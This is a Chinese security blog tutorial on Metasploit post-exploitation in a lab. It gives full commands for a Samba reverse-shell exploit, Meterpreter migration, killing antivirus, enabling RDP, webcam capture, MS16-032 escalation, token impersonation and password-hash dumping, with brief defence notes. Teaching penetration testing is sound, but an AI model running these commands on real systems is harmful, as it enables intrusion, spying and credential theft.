[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解
您可能之前看到過我寫的類似文章,為什么還要重復(fù)撰寫呢?只是想更好地幫助初學(xué)者了解病毒逆向分析和系統(tǒng)安全,更加成體系且不破壞之前的系列。因此,我重新開設(shè)了這個專欄,準(zhǔn)備系統(tǒng)整理和深入學(xué)習(xí)系統(tǒng)安全、逆向分析和惡意代碼檢測,“系統(tǒng)安全”系列文章會更加聚焦,更加系統(tǒng),更加深入,也是作者的慢慢成長史。換專業(yè)確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學(xué)到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
前文帶領(lǐng)大家了解Metasploit技術(shù),它和CS都是APT攻擊中常見的方式,并結(jié)合作者之前的漏洞利用及WannaCry逆向經(jīng)驗總結(jié)。這篇文章繼續(xù)帶領(lǐng)大家深入Metasploit技術(shù),涉及后滲透相關(guān)的技術(shù),包括信息收集、權(quán)限提權(quán)、移植漏洞模塊和后門。同時,結(jié)合作者之前的漏洞利用及WannaCry逆向經(jīng)驗總結(jié)。本文參考徐焱老師的《Web安全攻防滲透測試實戰(zhàn)指南》著作,謝公子博客,并結(jié)合作者之前的博客和經(jīng)驗進(jìn)行總結(jié)。希望這篇文章對您有所幫助,這些大佬是真的值得我們?nèi)W(xué)習(xí),獻(xiàn)上小弟的膝蓋~fighting!
文章目錄
- 一.MSF漏洞利用
- 二.后滲透攻擊之信息收集
- 1.進(jìn)程遷移
- 2.系統(tǒng)命令
- 3.文件系統(tǒng)命令
- 三.后滲透攻擊之權(quán)限提升
- 1.權(quán)限查詢
- 2.利用WMIC實戰(zhàn)MS16-032本地溢出漏洞
- 3.令牌竊取提權(quán)
- 4.Hash攻擊提權(quán)
- 四.后滲透攻擊之移植自定義漏洞利用模塊
- 1.傳統(tǒng)MS08-067漏洞利用
- 2.移植github的MS17-010漏洞模塊
- 3.深度提權(quán)
- 五.后滲透攻擊之后門
- 1.操作系統(tǒng)Cymothoa后門
- 2.Web后門
- 六.總結(jié)
希望這些基礎(chǔ)原理能更好地幫助大家做好防御和保護(hù),基礎(chǔ)性文章,希望對您有所幫助。作者作為網(wǎng)絡(luò)安全的小白,分享一些自學(xué)基礎(chǔ)教程給大家,主要是在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進(jìn)步,后續(xù)將深入學(xué)習(xí)網(wǎng)絡(luò)安全和系統(tǒng)安全知識并分享相關(guān)實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創(chuàng)作的最大動力,點(diǎn)贊、評論、私聊均可,一起加油喔!
作者的github資源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網(wǎng)絡(luò)安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
從2019年7月開始,我來到了一個陌生的專業(yè)——網(wǎng)絡(luò)空間安全。初入安全領(lǐng)域,是非常痛苦和難受的,要學(xué)的東西太多、涉及面太廣,但好在自己通過分享100篇“網(wǎng)絡(luò)安全自學(xué)”系列文章,艱難前行著。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫“系統(tǒng)安全”,也是免費(fèi)的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內(nèi)網(wǎng)滲透、網(wǎng)絡(luò)攻防實戰(zhàn)等,也將通過在線筆記和實踐操作的形式分享與博友們學(xué)習(xí),希望能與您一起進(jìn)步,加油~
- 推薦前文:網(wǎng)絡(luò)安全自學(xué)篇系列-100篇
前文分析:
- [系統(tǒng)安全] 一.什么是逆向分析、逆向分析基礎(chǔ)及經(jīng)典掃雷游戲逆向
- [系統(tǒng)安全] 二.如何學(xué)好逆向分析及呂布傳游戲逆向案例
- [系統(tǒng)安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰(zhàn)
- [系統(tǒng)安全] 四.OllyDbg動態(tài)分析工具基礎(chǔ)用法及Crakeme逆向
- [系統(tǒng)安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰(zhàn)僵尸游戲
- [系統(tǒng)安全] 六.逆向分析之條件語句和循環(huán)語句源碼還原及流程控制
- [系統(tǒng)安全] 七.逆向分析之PE病毒原理、C++實現(xiàn)文件加解密及OllyDbg逆向
- [系統(tǒng)安全] 八.Windows漏洞利用之CVE-2019-0708復(fù)現(xiàn)及藍(lán)屏攻擊
- [系統(tǒng)安全] 九.Windows漏洞利用之MS08-067遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)及深度提權(quán)
- [系統(tǒng)安全] 十.Windows漏洞利用之SMBv3服務(wù)遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-0796)復(fù)現(xiàn)
- [系統(tǒng)安全] 十一.那些年的熊貓燒香及PE病毒行為機(jī)理分析
- [系統(tǒng)安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
- [系統(tǒng)安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機(jī)理
- [系統(tǒng)安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放過程(下)
- [系統(tǒng)安全] 十五.Chrome瀏覽器保留密碼功能滲透解析、藍(lán)屏漏洞及某音樂軟件漏洞復(fù)現(xiàn)
- [系統(tǒng)安全] 十六.PE文件逆向基礎(chǔ)知識(PE解析、PE編輯工具和PE修改)
- [系統(tǒng)安全] 十七.Windows PE病毒概念、分類及感染方式詳解
- [系統(tǒng)安全] 十八.病毒攻防機(jī)理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關(guān)機(jī)、藍(lán)屏攻擊)
- [系統(tǒng)安全] 十九.宏病毒之入門基礎(chǔ)、防御措施、自發(fā)郵件及APT28宏樣本分析
- [系統(tǒng)安全] 二十.PE數(shù)字簽名之(上)什么是數(shù)字簽名及Signtool簽名工具詳解
- [系統(tǒng)安全] 二十一.PE數(shù)字簽名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系統(tǒng)安全] 二十二.PE數(shù)字簽名之(下)微軟證書漏洞CVE-2020-0601復(fù)現(xiàn)及Windows驗證機(jī)制分析
- [系統(tǒng)安全] 二十三.逆向分析之OllyDbg動態(tài)調(diào)試復(fù)習(xí)及TraceMe案例分析
- [系統(tǒng)安全] 二十四.逆向分析之OllyDbg調(diào)試INT3斷點(diǎn)、反調(diào)試、硬件斷點(diǎn)與內(nèi)存斷點(diǎn)
- [系統(tǒng)安全] 二十五.WannaCry勒索病毒分析 (1)Python復(fù)現(xiàn)永恒之藍(lán)漏洞實現(xiàn)勒索加密
- [系統(tǒng)安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系統(tǒng)安全] 二十七.WannaCry勒索病毒分析 (3)蠕蟲傳播機(jī)制解析及IDA和OD逆向
- [系統(tǒng)安全] 二十八.WannaCry勒索病毒分析 (4)全網(wǎng)"最"詳細(xì)的蠕蟲傳播機(jī)制解讀
- [系統(tǒng)安全] 二十九.深信服分享之外部威脅防護(hù)和勒索病毒對抗
- [系統(tǒng)安全] 三十.CS逆向分析 (1)你的游戲子彈用完了嗎?Cheat Engine工具入門普及
- [系統(tǒng)安全] 三十一.惡意代碼檢測(1)惡意代碼攻擊溯源及惡意樣本分析
- [系統(tǒng)安全] 三十二.惡意代碼檢測(2)常用技術(shù)詳解及總結(jié)
- [系統(tǒng)安全] 三十三.惡意代碼檢測(3)基于機(jī)器學(xué)習(xí)的惡意代碼檢測技術(shù)
- [系統(tǒng)安全] 三十四.惡意代碼檢測(4)編寫代碼自動提取IAT表、字符串及時間戳溯源地區(qū)
- [系統(tǒng)安全] 三十五.Procmon工具基本用法及文件進(jìn)程、注冊表查看
- [系統(tǒng)安全] 三十六.APT系列(1)APT攻擊溯源防御與常見APT組織的攻擊案例
- [系統(tǒng)安全] 三十七.APT系列(2)遠(yuǎn)控木馬詳解與防御及APT攻擊中的遠(yuǎn)控
- [系統(tǒng)安全] 三十八.APT系列(3)惡意代碼與APT攻擊中的武器(強(qiáng)推Seak老師)
- [系統(tǒng)安全] 三十九.APT系列(4)APT攻防溯源普及和醫(yī)療數(shù)據(jù)安全防御總結(jié)
- [系統(tǒng)安全] 四十.APT系列(5)APT組織常用WinRAR漏洞復(fù)現(xiàn)(CVE-2018-20250)及惡意軟件劫持
- [系統(tǒng)安全] 四十一.APT系列(6)Python解析PE文件并獲取時間戳判斷來源區(qū)域
- [系統(tǒng)安全] 四十二.APT系列(7)基于溯源圖的APT攻擊檢測安全頂會論文總結(jié)
- [系統(tǒng)安全] 四十三.APT系列(8)Powershell和PowerSploit腳本滲透攻擊手段詳解
- [系統(tǒng)安全] 四十四.APT系列(9)Metasploit技術(shù)之基礎(chǔ)用法萬字詳解及防御機(jī)理
- [系統(tǒng)安全] 四十五.APT系列(10)Metasploit后滲透技術(shù)信息收集、權(quán)限提權(quán)和功能模塊詳解
聲明:本人堅決反對利用教學(xué)方法進(jìn)行犯罪的行為,一切犯罪行為必將受到嚴(yán)懲,綠色網(wǎng)絡(luò)需要我們共同維護(hù),更推薦大家了解它們背后的原理,更好地進(jìn)行防護(hù)。
一.MSF漏洞利用
上一篇文章我們詳細(xì)介紹了Metasploit的基礎(chǔ)用法及漏洞利用過程,這篇文章將介紹后滲透相關(guān)的技術(shù),包括信息收集、權(quán)限提升、移植漏洞和后門。在介紹這些知識之前,我們先簡單回顧下MSF漏洞利用的基本流程。
第一步,掃描靶機(jī)Windows XP系統(tǒng)是否開啟445端口。
- nmap -sS 192.168.44.135
收集到目標(biāo)主機(jī)相關(guān)信息后,為其選擇正確的Exploit和合適的Payload,然后發(fā)起攻擊。作者這里選擇Samba 3.x服務(wù)進(jìn)行漏洞利用。
第二步,打開msfconsole。
- msfconsole
第三步,查詢Samba的漏洞利用模塊,并選擇合適的漏洞利用模塊。
- search samba
Samba是在Linux和UNIX系統(tǒng)上實現(xiàn)SMB(Server Message Block,信息服務(wù)塊)協(xié)議的一款免費(fèi)軟件。SMB是一種在局域網(wǎng)上共享文件和打印機(jī)的通信協(xié)議,它在局域網(wǎng)內(nèi)使用Linux和Windows系統(tǒng)的機(jī)器之間提供文件及打印機(jī)等資源的共享服務(wù)。
第四步,利用漏洞模塊。
在Samba服務(wù)返回的漏洞利用模塊列表中,我們選擇“Excellent”最杰出且時間較新的漏洞,從而提高滲透成功率。
- use exploit/multi/samba/usermap_script
第五步,查看該漏洞利用模塊可供選擇的攻擊載荷模塊。
注意,因為目標(biāo)是Linux機(jī)器,一定要選擇Linux的攻擊載荷。本文主要是回顧MSF漏洞攻擊流程,后面會詳細(xì)介紹真實的漏洞利用案例。
- set payload cmd/unix/reverse
第六步,設(shè)置漏洞利用信息。
- 受害主機(jī)IP:set RHOST 192.168.44.135
- 攻擊主機(jī)IP:set LHOST 192.168.44.138
- 攻擊端口:set RPORT 445
第七步,輸入攻擊命令exploit或run。
MSF發(fā)動攻擊成功后會獲取目標(biāo)主機(jī)Shell,可以看到攻擊主機(jī)和目標(biāo)主機(jī)之間建立了Shell連接。同時可能會出現(xiàn)錯誤“Exploit completed, but no session was created”,需要注意目標(biāo)主機(jī)版本信息,選擇對應(yīng)的攻擊載荷及漏洞利用模塊。建議讀者多嘗試各種Exploit和Payload的組合。
防御方法:
- Samba服務(wù)漏洞發(fā)生在Samba3.0.20-25版本,當(dāng)使用非默認(rèn)用戶名映射腳本配置時,通過指定一個用戶名包含Shell元字符,攻擊者可以執(zhí)行任意命令。建議將其升級到可防御的版本。
- SMB局域網(wǎng)上共享文件和打印機(jī)的通信協(xié)議會出現(xiàn)各種漏洞,建議關(guān)閉相關(guān)的端口及防火墻設(shè)置,即使修補(bǔ)最新漏洞。
二.后滲透攻擊之信息收集
成功地對目標(biāo)機(jī)器攻擊滲透后還可以做什么呢?
Metasploit提供了一個非常強(qiáng)大的后滲透工具—— Meterpreter,該工具具有多重功能,使后續(xù)入侵變得更容易,獲取目標(biāo)機(jī)的Meterpreter Shell后,就進(jìn)入了Metasploit最精彩的后滲透利用節(jié)點(diǎn),后期滲透模塊有200多個,Meterpreter具有以下優(yōu)勢。
- 純內(nèi)存工作模式,不需要對磁盤進(jìn)行任何寫入操作。
- 使用加密通信協(xié)議,而且可以同時與幾個信道通信。
- 在被攻擊進(jìn)程內(nèi)工作,不需要創(chuàng)建新的進(jìn)程。
- 易于在多進(jìn)程之間遷移。
- 平臺通用,適用于Windows、Linux、 BSD系統(tǒng), 并支持Intel x86和Intel x64平臺。
這里以上篇文章介紹的MS17-010漏洞為例進(jìn)行說明。
同時,meterpreter的payload是真強(qiáng)大,它可以實現(xiàn)太多太多的功能了。我們可以在meterpreter下面進(jìn)行help,查看相關(guān)用法。
- Core Commands
- File System Commands
- Networking Commands & System Commands
- User Interface Commands
- Webcam Commands & Other Commands
1.進(jìn)程遷移
在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標(biāo)機(jī)器,但攻擊滲透后瀏覽器有可能被用戶關(guān)閉。所以第一步就是要移動這個Shell,把它和目標(biāo)機(jī)中一個穩(wěn)定的進(jìn)程綁定在一起,而不需要對磁盤進(jìn)行任何寫入操作。這樣做使得滲透更難被檢測到。
(1) 獲取目標(biāo)主機(jī)正在運(yùn)行的進(jìn)程
- ps
這些進(jìn)程與我們的目標(biāo)主機(jī)如XP系統(tǒng)打開時對應(yīng)的,如下圖所示。
(2) 查看Meterpreter Shell的進(jìn)程號。
- getpid
發(fā)現(xiàn)Meterpreter Shell進(jìn)程的PID為524,Name為spoolsv.exe。
(3) 輸入命令移動進(jìn)程。
輸入migrate命令把Shell移動到PID為1684的Explorer.exe進(jìn)程里,因為該進(jìn)程是一個穩(wěn)定的應(yīng)用。
- migrate 1684
migrate也是一個post模塊,可以將meterpreter當(dāng)前的進(jìn)程移動到其他指定的進(jìn)程中,這樣做的好處是可以給meterpreter一個相對穩(wěn)定的運(yùn)行環(huán)境,同時可以很好的躲避殺軟。
滲透過程中可能會遇到問題,比如“Error: Rex::TimeoutError : Operation timed out. ”,這都需要我們學(xué)會獨(dú)立解決。
完成進(jìn)程遷移后,再次輸入getpid命令查看Meterpreter Shel的進(jìn)程號,發(fā)現(xiàn)PID已經(jīng)變成了2428,說明已經(jīng)成功遷移到Explorer.exe進(jìn)程里,原先PID為1116的進(jìn)程會自動關(guān)閉,如圖所示。
(4) 使用自動遷移進(jìn)程命令,系統(tǒng)會自動尋找合適的進(jìn)程然后遷移。
- run post/windows/manage/migrate
如下所示,系統(tǒng)已經(jīng)把原來PID為3292的進(jìn)程遷移到6020。
meterpreter > run post/windows/manage/migrate[*] Running module against DX1XMSTMBBJR3FZ [*] Current server process: notepad.exe (3292) [*] Spawning notepad.exe process to migrate to [+] Migrating to 6020 [+] Successfully migrated to process 60202.系統(tǒng)命令
獲得了穩(wěn)定的進(jìn)程后,接下來收集系統(tǒng)信息。后續(xù)作者想通過Python自己實現(xiàn)這些功能,感覺挺有意思的。
(1) 查看目標(biāo)主機(jī)的系統(tǒng)信息。
通常會先輸入sysinfo命令查看目標(biāo)機(jī)的系統(tǒng)信息,例如操作系統(tǒng)和體系結(jié)構(gòu)。
- sysinfo
(2) 檢查目標(biāo)機(jī)是否運(yùn)行在虛擬機(jī)上。
- run post/windows/gather/checkvm
可以看到當(dāng)前目標(biāo)機(jī)正運(yùn)行在一個VMware虛擬機(jī)上,接下來我們檢查虛擬機(jī)最近是否運(yùn)行。
(3) 查看目標(biāo)機(jī)最近的運(yùn)行時間。
- idletime
看到目標(biāo)機(jī)器正在運(yùn)行且運(yùn)行了2 mins 49 secs。
(4) 查看目標(biāo)機(jī)完整的網(wǎng)絡(luò)設(shè)置。
- route
除此之外,可以輸入background命令將當(dāng)前會話放到后臺,此命令適合在多個Meterpreter會話的場景下使用。
(5) 查看已經(jīng)滲透成功的目標(biāo)主機(jī)的用戶名。
- getuid
(6) 關(guān)閉目標(biāo)機(jī)操作系統(tǒng)殺毒軟件。
- run post/windows/manage/killav
(7) 啟動目標(biāo)機(jī)的遠(yuǎn)程桌面協(xié)議,對應(yīng)3389端口,后面我們會利用該端口。
- run post/windows/manage/enable_rdp
(8) 查看目標(biāo)機(jī)的本地子網(wǎng)情況。
- run post/windows/manage/autoroute
可以通過添加路由借助被攻陷的主機(jī)對其他網(wǎng)絡(luò)的主機(jī)發(fā)送攻擊。同時可以添加路由信息。
(9) 列舉當(dāng)前有多少用戶登陸了目標(biāo)機(jī)。
- run post/windows/gather/enum_logged_on_users
(10) 列舉完了用戶之后, 繼續(xù)輸入命令列舉安裝在目標(biāo)機(jī)上的應(yīng)用程序。
- run post/windows/gather/enum_applications
(11) 查看自動登陸的用戶和密碼。
- run windows/gather/credentials/windows_autologin
可以看到當(dāng)前沒有抓到任何信息。此時就需要用到擴(kuò)展插件Espia,使用前要先輸入load espia命令加載該插件,然后輸入screengrab命令就可以抓取此時目標(biāo)機(jī)的屏幕截圖。
(12) 加載該插件截屏。
- load espia
- screengrab
另一個命令也可以達(dá)到同樣的截屏效果。抓取成功后就生成了一個jpeg圖片,保存在root目錄下。
- screenshot
(13) 查看目標(biāo)機(jī)camera。
- webcam_list
(14) take photo。
- webcam_snap
(15) 開啟模式。
- webcam_stream
(16) 進(jìn)入目標(biāo)機(jī)shell。
- shell
(17) 停止shell會話并返回meterpreter。
- exit
3.文件系統(tǒng)命令
Meterpreter也支持各種文件系統(tǒng)命令,用于搜索文件并執(zhí)行各種任務(wù),例如搜索文件、下載文件及切換目錄等,相對來說操作比較簡單。常用的文件系統(tǒng)命令及其作用如下所示。
(1) 查看當(dāng)前處于目標(biāo)機(jī)的目錄。
- pwd或getwd
(2) 查看當(dāng)前處于本地的哪個目錄。
- getlwd
(3) 列出當(dāng)前目錄中的所有文件。
- ls
(4) 切換目錄。
- cd
(5) 搜索C盤中所有以".txt" 為擴(kuò)展名的文件。
- search -f *.txt -d c:\\
其中-f參數(shù)用于指定搜索文件模式,-d參數(shù)用于指定在哪個目錄下進(jìn)行搜索,如圖所示。
(6) 下載目標(biāo)機(jī)C盤的test.txt文件到攻擊機(jī)root下。
- download c:\\test\\test.txt /root
(7) 上傳攻擊機(jī)root目錄下的test.txt文件到目標(biāo)機(jī)C盤下。
- upload /root/test.txt c:\\
三.后滲透攻擊之權(quán)限提升
1.權(quán)限查詢
在滲透過程中很有可能只獲得了一個系統(tǒng)的Guest或User權(quán)限。低的權(quán)限級別將使我們受到很多的限制,在實施橫向滲透或者提權(quán)攻擊時將很困難。
在主機(jī)上如果沒有管理員權(quán)限,就無法進(jìn)行獲取Hash、安裝軟件、修改防火墻規(guī)則和修改注冊表等各種操作,所以必須將訪問權(quán)限從Guset提升到User,再到Administrator,最后到System級別。
滲透的最終目的是獲取服務(wù)器的最高權(quán)限,即Windows操作系統(tǒng)中管理員賬號的權(quán)限,或Linux操作系統(tǒng)中root賬戶的權(quán)限。提升權(quán)限的方式分為以下兩類。
- 縱向提權(quán): 低權(quán)限角色獲得高權(quán)限角色的權(quán)限。例如,一個WebShell權(quán)限通過提權(quán)之后擁有了管理員的權(quán)限,那么這種提權(quán)就是縱向提權(quán),也稱作權(quán)限升級。
- 橫向提權(quán): 獲取同級別角色的權(quán)限。例如,通過已經(jīng)攻破的系統(tǒng)A獲取了系統(tǒng)B的權(quán)限,那么這種提權(quán)就屬于橫向提權(quán)。
所以在成功獲取目標(biāo)機(jī)Meterpreter Shell后,我們要知道現(xiàn)在已經(jīng)擁有了什么權(quán)限。
(1) 查看當(dāng)前權(quán)限。
在Meterpreter Shell下輸入shell命令進(jìn)入目標(biāo)機(jī)的CMD命令行,接著輸入whoami /groups命令查看我們當(dāng)前的權(quán)限。
- whoami
注意,如果提示whoami不是內(nèi)部命令,則需要將whoami.exe復(fù)制到System32目錄即可。
查看我們當(dāng)前的權(quán)限。
- whoami /groups
(2) 查看用戶已獲得的權(quán)限。
作者這里使用MS17-010漏洞提權(quán),已經(jīng)是系統(tǒng)管理員權(quán)限了。
- getuid
通過getsystem命令可以嘗試提權(quán)。
(3) 查看系統(tǒng)的已打補(bǔ)。
傳統(tǒng)的方法是在目標(biāo)機(jī)的CMD命令行下輸入systeminfo命令,或者通過查詢C:\windows\里留下的補(bǔ)丁號".Iog" 查看目標(biāo)機(jī)大概打了哪些補(bǔ)丁,如圖所示。
- systeminfo
可以看到目標(biāo)機(jī)只安裝了3個修補(bǔ)程序。
meterpreter命令如下:
(4) 利用WMIC命令列出已安裝的補(bǔ)丁。
- Wmic qfe get Caption,Description,HotFixID,InstalledOn
注意,作者這里沒有顯示詳細(xì)信息,而徐老師他們顯示詳細(xì)信息如下圖所示。
可以看到目標(biāo)機(jī)只打了3個補(bǔ)丁,要注意這些輸出的結(jié)果是不能被直接利用的,使用的方式是去找提權(quán)的EXP,然后將系統(tǒng)已經(jīng)安裝的補(bǔ)丁編號與提權(quán)的EXP編號進(jìn)行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用沒有編號的EXP進(jìn)行提權(quán)。
因為虛擬機(jī)不怎么打補(bǔ)丁,所以我們可以使用很多EXP來提權(quán),這里就用最新的MS16-032來嘗試提權(quán),對應(yīng)的編號是KB3139914。
WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執(zhí)行系統(tǒng)管理的支持,可以說是Windows平臺下最有用的命令行工具。使用WMIC我們不但可以管理本地計算機(jī),還可以管理同一域內(nèi)的所有遠(yuǎn)程計算機(jī)(需要必要的權(quán)限),而被管理的遠(yuǎn)程計算機(jī)不必事先安裝WMIC。
需要注意的是,在Windows XP下,低權(quán)限用戶是不能使用WMIC命令的,但是在Windows 7系統(tǒng)和Windows 8系統(tǒng)下,低權(quán)限用戶可以使用WMIC且不用更改任何設(shè)置。WMIC在信息收集和后滲透測試階段非常實用,可以調(diào)取查看目標(biāo)機(jī)的進(jìn)程、服務(wù)、用戶、用戶組、網(wǎng)絡(luò)連接、硬盤信息、網(wǎng)絡(luò)共享信息、已安裝補(bǔ)丁、啟動項、已安裝的軟件、操作系統(tǒng)的相關(guān)信息和時區(qū)等。
2.利用WMIC實戰(zhàn)MS16-032本地溢出漏洞
下面我們就利用本地溢出漏洞來提高權(quán)限,也就是說通過運(yùn)行些現(xiàn)成的、能造成溢出漏洞的Exploit,把用戶從User組或其他系統(tǒng)用戶組中提升到Administrator組或root。
溢出漏洞就像往杯子里裝水,水多了杯子裝不進(jìn)去,里面的水就會溢出來。而計算機(jī)有個地方叫緩存區(qū),程序的緩存區(qū)長度是事先被設(shè)定好的,如果用戶輸入的數(shù)據(jù)超過了這個緩存區(qū)的長度,那么這個程序就會溢出。
(1) 接下來準(zhǔn)備提權(quán),需要先把Meterpreter會話轉(zhuǎn)為后臺執(zhí)行,然后搜索MS16-032,如下圖所示。
- search ms16-032
(2) 指定session完成提權(quán)操作。
- use windows/local/ms16_032_secondary_logon_handle_privesc
- set session 1
(3) 實現(xiàn)攻擊。
- run
注意,如果搜索不到最新的Exploit,可以輸入msfupdate命令進(jìn)行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應(yīng)漏洞EXP 。但是作者的始終沒有響應(yīng),真實的運(yùn)行結(jié)果是將權(quán)限提升為System級別。
防御方式:
- 該漏洞的安全補(bǔ)丁編號為KB3139914,我們只需要安裝此補(bǔ)丁即可。為了方便提權(quán),下面給出部分補(bǔ)丁編號。
微軟也會定期給出對應(yīng)的方法,比如:
- Microsoft 安全公告 MS08-067 - 嚴(yán)重
3.令牌竊取提權(quán)
令牌(Token)是系統(tǒng)的臨時密鑰,相當(dāng)于賬戶名和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網(wǎng)絡(luò)和系統(tǒng)資源。這些令牌將持續(xù)存在于系統(tǒng)中,除非系統(tǒng)重新啟動。
令牌最大的特點(diǎn)就是隨機(jī)性、不可預(yù)測,一般hk或軟件無法猜測出來。令牌有很多種,比如:
- 訪問令牌(Access Token): 表示訪問控制操作主題的系統(tǒng)對象;
- 密保令牌(Security token): 又叫作認(rèn)證令牌或者硬件令牌,是一種計算機(jī)身份校驗的物理設(shè)備,例如U盾;
- 會話令牌(Session Token): 是交互會話中唯一的身份標(biāo)識符。
在假冒令牌攻擊中需要使用Kerberost協(xié)議。所以在使用假冒令牌前,先來介紹Kerberost協(xié)議。Kerberos是一種網(wǎng)絡(luò)認(rèn)證協(xié)議,其設(shè)計目標(biāo)是通過密鑰系統(tǒng)為客戶機(jī)/服務(wù)器應(yīng)用程序提供強(qiáng)大的認(rèn)證服務(wù)。Kerberos的工作機(jī)制如下圖所示。
前面我們通過MS17-010已經(jīng)實現(xiàn)權(quán)限提升,但已經(jīng)是System級權(quán)限。但某些情況下可能是Test權(quán)限,需要進(jìn)一步提升。
(1) 查看已經(jīng)獲得的權(quán)限。
- getuid
(2) 提權(quán)。
- getsystem
發(fā)現(xiàn)提權(quán)失敗了。
(3) 列出可用的token。
- use incognito
- list_tokens -u
可以看到有兩種類型的令牌:
- 一種是Delegation Tokens,也就是授權(quán)令牌,它支持交互式登錄,例如可以通過遠(yuǎn)程桌面登錄訪問);
- 一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話。令牌的數(shù)量其實取決于Meterpreter Shell的訪問級別。
由上圖可以看到,我們已經(jīng)獲得了一個系統(tǒng)管理員hacker的授權(quán)令牌,現(xiàn)在就要假冒這個令牌,成功后即可擁有它的權(quán)限。
從輸出的信息可以看到分配的有效令牌包含 XI....NQ\hacker,其中XI…NQ是目標(biāo)機(jī)的主機(jī)名,hacker表示登錄的用戶名。接下來在incognito中調(diào)用impersonate token命令假冒ge用戶進(jìn)行攻擊,具體方法如下圖所示。
- impersonate token XI...NQ\\hacker
- shell
- whoami
注意:在輸入HOSTNAME\USERNAME時需要兩個反斜杠(\\)。運(yùn)行成功后在Meterpreter Shell下運(yùn)行shell命令并輸入whoami,可以看到現(xiàn)在就是假冒的那個hacker系統(tǒng)管理員了。
4.Hash攻擊提權(quán)
Hashdump Meterpreter腳本可以從目標(biāo)機(jī)器中提取Hash值,破解Hash值即可獲得登錄密碼。計算機(jī)中的每個賬號(如果是域服務(wù)器,則為域內(nèi)的每個賬號)的用戶名和密碼都存儲在 sam 文件中,當(dāng)計算機(jī)運(yùn)行時,該文件對所有賬號進(jìn)行鎖定,要
想訪問就必須有"系統(tǒng)級”賬號。所以要使用該命令就必須進(jìn)行權(quán)限的提升。
(1) hashdump抓取密碼
在Meterpreter Shell提示符下輸入hashdump命令,將導(dǎo)出目標(biāo)機(jī)sam數(shù)據(jù)庫中的Hash。注意,在非system權(quán)限下會出現(xiàn)失敗,報錯 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”
- hashdump
注意,在非SYSTEM權(quán)限下遠(yuǎn)行hashdump命令會失敗,而且在Windows 7、Windows Server 2008下有時候會出現(xiàn)進(jìn)程移植不成功等問題。權(quán)限不夠需要提升為system權(quán)限。查看權(quán)限可以進(jìn)入目標(biāo)機(jī)的 cmd 運(yùn)行 whoami /groups 來查看。
(2) 如果報錯,則提權(quán)并將進(jìn)程轉(zhuǎn)移至具有SYSTEM權(quán)限的進(jìn)程。
- ps
- getsystem
- migrate 664
(3) 導(dǎo)出目標(biāo)機(jī)sam數(shù)據(jù)庫中的Hash。
- hashdump
(4) smart hashdump導(dǎo)出用戶的Hash值。
另一個模塊smart hashdump的功能更為強(qiáng)大,可以導(dǎo)出域所有用戶的Hash,其工作流程如下:
- 檢查Meterpreter會話的權(quán)限和目標(biāo)機(jī)操作系統(tǒng)類型。
- 檢查目標(biāo)機(jī)是否為域控制服務(wù)器。
- 首先嘗試從注冊表中讀取Hash,不行的話再嘗試注入LSASS進(jìn)程。
命令為:
- run windows/gather/smart_hashdump
(5) 通過暴力或者彩虹列表對抓取到的hash進(jìn)行破解。
- https://www.cmd5.com/
說明:在SAM文件中保存了兩個不同的口令信息,LAN Manager(LM)口令散列算法和更加強(qiáng)大的加密NT版。LM就是NT口令文件的弱點(diǎn)。上圖中左邊為LM版本口令,右邊是NTLM版本,1001代表管理員。
(6) 使用Quarks PwDump抓取密碼
PwDump是一款Win32環(huán)境下的系統(tǒng)授權(quán)信息導(dǎo)出工具,目前沒有任何一款工具可以導(dǎo)出如此全面的信息、支持這么多的OS版本,而且相當(dāng)穩(wěn)定。它目前可以導(dǎo)出:
- Local accounts NT/LM hashes + history 本機(jī)NT/LM哈希+歷史登錄記錄。
- Domain accounts NT/LM hashes + history域中的NT/LM哈希+歷史登錄記錄。
- Cached domain password緩存中的域管理密碼。
- Bitlocker recovery information使用Bitlocker的恢復(fù)功能后遺留的信息(恢復(fù)密碼&關(guān)鍵包)。
運(yùn)行該程序如上圖所示,默認(rèn)顯示幫助信息,其參數(shù)含義如下所示。
- -dhl:導(dǎo)出本地哈希值。
- -dhdc:導(dǎo)出內(nèi)存中的域控哈希值。
- -dhd:導(dǎo)出域控哈希值,必須指定NTDS文件。
- -db:導(dǎo)出Bitlocker信息, 必須指定NTDS文件。
- -nt:導(dǎo)出NTDS文件。
- -hist:導(dǎo)出歷史信息,可選項。
- -t:可選導(dǎo)出類型,默認(rèn)導(dǎo)出John類型。
- -o:導(dǎo)出文件到本地。
這里使用該工具抓取本機(jī)Hash值并導(dǎo)出,可以輸入如下命令導(dǎo)出本地哈希值到當(dāng)前目錄的1.txt。此外,該工具還可以配合Ntdsutil工具導(dǎo)出域控密碼。
- QuarksPwDump.exe -dhl -o 1.txt
(7) 使用WCE抓取密碼。
